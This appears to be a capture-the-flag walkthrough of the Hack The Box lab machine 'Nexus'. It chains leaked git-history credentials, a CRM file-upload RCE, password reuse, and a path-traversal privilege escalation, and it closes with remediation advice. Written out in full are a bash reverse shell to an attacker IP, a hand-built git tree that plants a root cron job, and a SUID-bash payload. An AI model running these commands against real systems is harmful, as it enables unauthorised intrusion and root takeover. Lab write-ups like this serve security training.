HACK THE BOX · MACHINE WALKTHROUGH

Nexus

Easy · Linux · Full Root Compromise

Easy Linux 450 XP

Target	nexus.htb (10.129.39.33)
Difficulty	Easy
OS	Ubuntu Linux
Key Tech	Nginx, Gitea, Krayin CRM, MySQL, OpenSSH, Docker
Attack Themes	Info Disclosure, Arbitrary File Upload (RCE), Password Reuse, Path Traversal
Released	23 June 2026

Author: CalmAy

Endpoint Security & Cloud Security Engineer · Application Security / Penetration Tester

Machine solved and documented end-to-end by CalmAy on Hack The Box.

1. Executive Summary

Nexus is an easy-rated Linux machine themed around a fictional energy authority. The compromise chains five distinct weaknesses, each feeding the next:

1. **Reconnaissance** — virtual-host fuzzing exposes two internal apps: a Gitea instance and a Krayin CRM billing portal.
2. **Information Disclosure** — an exposed Gitea repository leaks a database password in its *git history*, and the corporate careers page leaks a valid username/email format.
3. **Authenticated RCE** — the leaked credentials unlock Krayin CRM, which is vulnerable to CVE-2026-38526 (arbitrary file upload via the TinyMCE endpoint), yielding a shell as www-data.
4. **Password Reuse** — a rotated DB password found in the live CRM config is reused for SSH access as the user jones.
5. **Privilege Escalation** — a root-owned *Gitea template sync* service suffers from a directory-traversal flaw. A malicious git tree (built with low-level plumbing) writes a root cron job, granting a SUID root shell.

> **Outcome**
> Full root compromise of nexus.htb, capturing both the user and root flags.

2. Reconnaissance

2.1 Port Scan

An initial full TCP scan reveals only two open ports: SSH and HTTP.

```
$ nmap -sC -sV -p- --min-rate 5000 -oN nmap/initial 10.129.39.33

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/
```

Port 80 redirects to the virtual host nexus.htb, so we add it to our hosts file.

```
$ sudo sh -c 'echo "10.129.39.33 nexus.htb" >> /etc/hosts'
```

2.2 Virtual Host Discovery

The landing page is a corporate site for the "Nexus Energy Authority". We fuzz for additional virtual hosts, first baselining the response size for a non-existent host (154 bytes).

```
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
      -u http://nexus.htb -H "Host: FUZZ.nexus.htb" -fs 154

git       [Status: 200, Size: 14474]
billing   [Status: 302, Size: 390]
```

Two new vhosts surface. We add both to /etc/hosts:

```
$ sudo sh -c 'echo "10.129.39.33 git.nexus.htb billing.nexus.htb" >> /etc/hosts'
```

Host	Service	Notes
nexus.htb	Corporate site (Nginx)	Careers page — leaks emails
git.nexus.htb	Gitea 1.26.0	Public repo with leaked secrets
billing.nexus.htb	Krayin CRM	Login at /admin/login

3. Information Disclosure

3.1 Exposed Gitea Repository

Gitea allows unauthenticated exploration. The Explore page lists a single public repository owned by admin:

```
$ curl -s http://git.nexus.htb/explore/repos | grep -oP '(?<=href=")/[^"]+' | sort -u
/admin/krayin-docker-setup
```

The repo contains a .env and docker-compose.yml, and crucially it has **two commits**. The current .env has an empty DB_PASSWORD, but

diffing the commits reveals the secret was scrubbed in the later commit — and still lives in git history.

```
$ curl -s http://git.nexus.htb/admin/krayin-docker-setup/commit/9b817fa4e0...

# .env diff (parent commit -> latest)
- DB_PASSWORD=N27xh!!2ucY04
+ DB_PASSWORD=
```

> **Lesson: secrets live forever in git history**
> Removing a credential in a later commit does *not* remove it from the repository. git log -p, commit diffs, or tools like trufflehog/gitleaks recover it instantly. Leaked value: N27xh!!2ucY04.

3.2 Username Disclosure (Careers Page)

The corporate site's careers section leaks a real employee email, revealing both a valid username and the organisation's email convention (firstinitial.lastname).

```
$ curl -s http://nexus.htb/ | grep -oiE 'href="mailto:[^"]*"'
mailto:careers@nexus.htb
mailto:j.matthew@nexus.htb
```

> **Credential candidate assembled**
> Username j.matthew@nexus.htb + password N27xh!!2ucY04 from git history.

4. Initial Foothold — Krayin CRM (CVE-2026-38526)

4.1 Authentication

The billing portal (Krayin CRM) login sits at /admin/login. The assembled credentials work:

```
Login: http://billing.nexus.htb/admin/login
User : j.matthew@nexus.htb
Pass : N27xh!!2ucY04   → success
```

4.2 The Vulnerability

Krayin CRM v2.2.x is affected by **CVE-2026-38526** (CVSS 9.9), an authenticated arbitrary file upload in the TinyMCE media endpoint.

Property	Detail
CVE	CVE-2026-38526
Class	CWE-434 — Unrestricted Upload of File with Dangerous Type
Endpoint	/admin/tinymce/upload
Cause	No server-side validation of extension / content type
Result	Upload a PHP webshell to a web-accessible path → RCE

4.3 Exploitation

Using the public proof-of-concept, we confirm code execution as www-data:

```
$ git clone https://github.com/NathanHimself/CVE-2026-38526-PoC
$ cd CVE-2026-38526-PoC && chmod +x exploit.py
$ python3 exploit.py -t http://billing.nexus.htb \
      -u j.matthew@nexus.htb -p 'N27xh!!2ucY04' -c 'id'

uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

4.4 Reverse Shell

We swap the command for a bash reverse shell back to our listener (VPN IP 10.10.17.40).

```
# Attacker: start listener
$ nc -lvnp 4444

# Trigger reverse shell via the PoC
$ python3 exploit.py -t http://billing.nexus.htb -u j.matthew@nexus.htb \
      -p 'N27xh!!2ucY04' \
      -c 'bash -c "bash -i >& /dev/tcp/10.10.17.40/4444 0>&1"'
```

Once caught, we stabilise the shell:

```
www-data$ python3 -c 'import pty; pty.spawn("/bin/bash")'
```

5. Lateral Movement — www-data to jones

5.1 Harvesting the Live CRM Config

The live Laravel .env holds a *different* (rotated) database password from the one in git history.

```
www-data$ cat /var/www/krayin/.env | grep DB_PASSWORD
DB_PASSWORD=y27xb3ha!!74GbR
```

5.2 Enumerating Login Users

```
www-data$ grep -E "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
jones:x:1000:1000:,,,:/home/jones:/bin/bash
git:x:111:112:Git Version Control,,,:/home/git:/bin/bash
```

5.3 Password Reuse → SSH

The rotated CRM password is reused for the system user jones.

```
$ ssh jones@nexus.htb
Password: y27xb3ha!!74GbR   → success

jones$ cat ~/user.txt      # USER FLAG captured
```

> **Recurring theme: password reuse**
> Two pivots on this box rely on reused / lightly-rotated passwords. The pattern N27xh!!2ucY04 → y27xb3ha!!74GbR also foreshadows the Gitea login used in privesc.

6. Privilege Escalation — jones to root

6.1 Discovering the Template Sync Service

Enumeration surfaces a root-run Gitea "template sync" service driven by a systemd timer that fires **every minute**.

```
jones$ ls -la /etc/gitea/template-sync.py \
            /etc/systemd/system/gitea-template-sync.*

# service runs as root, every 60s
[Service]
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
```

6.2 The Vulnerable Code

The script queries the Gitea API for repositories flagged template: true, reads each file path straight from git ls-tree, and writes it to disk with **no path sanitisation**:

```
# template-sync.py (excerpt)
target = os.path.join(stage_path, filepath)   # filepath is attacker-controlled
target_dir = os.path.dirname(target)
os.makedirs(target_dir, exist_ok=True)
with open(target, 'wb') as f:
    f.write(cat_result.stdout)
```

> **Root cause — classic path traversal (zip-slip pattern)**
> If a git tree entry's path contains ../ sequences, os.path.join happily escapes the staging directory. Because the writer runs as **root**, we can write anywhere on the filesystem.

6.3 Getting Gitea API Access

The script syncs template repos visible to its API token. We only need *any* authenticated Gitea account. Password reuse strikes again — jones has a Gitea account with the same SSH password, and the Gitea API accepts HTTP Basic Auth directly (no token/CSRF dance required).

```
jones$ curl -s -u 'jones:y27xb3ha!!74GbR' http://localhost:3000/api/v1/user
{"id":2,"login":"jones","email":"j.matthew@nexus.htb","is_admin":false,...}
```

6.4 Building the Malicious Template Repo

1. Create a repository via the API:

```
jones$ curl -s -u 'jones:y27xb3ha!!74GbR' -X POST \
      http://localhost:3000/api/v1/user/repos \
      -H "Content-Type: application/json" \
      -d '{"name":"pwn","auto_init":true,"private":false}'
```

2. Clone it and craft the payload — a cron job that makes a SUID root copy of bash:

```
jones$ git clone http://jones:y27xb3ha%21%2174GbR@localhost:3000/jones/pwn.git
jones$ cd pwn
jones$ printf '* * * * * root cp /bin/bash /tmp/rootbash && chmod 6777 /tmp/rootbash\n' > /tmp/payload
jones$ BLOB=$(git hash-object -w /tmp/payload)
```

> **Why low-level git plumbing?**
> A normal git add can never stage a file whose path is ../../../etc/cron.d/x — git refuses to leave the working tree. We therefore build the tree objects *by hand* with git mktree / git commit-tree. Note that mktree rejects slash-containing names, so each .. and directory becomes its own nested tree object.

3. Build the nested tree: etc → cron.d → pwnroot, then wrap it in a chain of .. directories to climb out of the staging path (/home/git/template-staging/jones/pwn/) up to /:

```
# innermost: cron.d/pwnroot
jones$ T1=$(printf '100644 blob %s\tpwnroot\n' "$BLOB" | git mktree)
jones$ T2=$(printf '040000 tree %s\tcron.d\n' "$T1" | git mktree)
jones$ T3=$(printf '040000 tree %s\tetc\n'    "$T2" | git mktree)

# wrap in 7 levels of ".." (extra levels are harmless at /)
jones$ CUR=$T3
jones$ for i in $(seq 1 7); do
           CUR=$(printf '040000 tree %s\t..\n' "$CUR" | git mktree)
       done
jones$ ROOT_TREE=$CUR
```

4. Commit the crafted tree and force-push it to main:

```
jones$ COMMIT=$(git commit-tree "$ROOT_TREE" -m "template sync")
jones$ git push -f origin "$COMMIT":refs/heads/main
```

5. Flag the repository as a template so the root sync job selects it:

```
jones$ curl -s -u 'jones:y27xb3ha!!74GbR' -X PATCH \
      http://localhost:3000/api/v1/repos/jones/pwn \
      -H "Content-Type: application/json" -d '{"template":true}'
"template":true
```

6.5 Triggering Root Execution

Within 60 seconds the root timer runs the sync script, which walks our tree and writes the payload straight into /etc/cron.d/:

```
jones$ tail -f /var/log/template-sync.log
[..] Found 1 template repo(s)
[..] Syncing template: jones/pwn
[..]   synced: ../../../../../../../etc/cron.d/pwnroot
```

The cron entry fires on the next minute, producing a SUID-root bash. We invoke it with -p to preserve the effective UID:

```
jones$ ls -la /tmp/rootbash
-rwsrwsrwx 1 root root 1446024 /tmp/rootbash

jones$ /tmp/rootbash -p
rootbash# id
uid=1000(jones) gid=1000(jones) euid=0(root) egid=0(root) groups=0(root)...
rootbash# cat /root/root.txt      # ROOT FLAG captured
```

> **Root achieved**
> euid=0(root) — full control of nexus.htb. Both flags captured.

7. Remediation Recommendations

Finding	Recommendation
Secrets in git history	Rotate all exposed credentials; purge history (git filter-repo / BFG); enforce pre-commit secret scanning; keep infra repos private.
Username disclosure	Avoid publishing individual employee emails; use role aliases; treat email convention as sensitive.
CVE-2026-38526 (Krayin CRM)	Upgrade Krayin CRM past v2.2.x; enforce strict upload allowlists (extension + MIME + magic bytes); store uploads outside the web root; disable PHP execution in upload dirs.
Password reuse	Unique credentials per service/account; central secrets manager; MFA on SSH; disable password auth in favour of keys.
Path traversal in sync service	Normalise and validate every path; reject entries containing ..; confine writes with realpath checks or chroot; run the service as a least-privileged (non-root) user.

8. Attack Chain at a Glance

#	Stage	Technique	Result
1	Recon	vhost fuzzing (ffuf)	git & billing discovered
2	Info Disclosure	git history + careers page	DB pass + username
3	Foothold	CVE-2026-38526 file upload	www-data shell
4	Lateral	config harvest + password reuse	SSH as jones (user flag)
5	Privesc	path traversal in root sync job	root (root flag)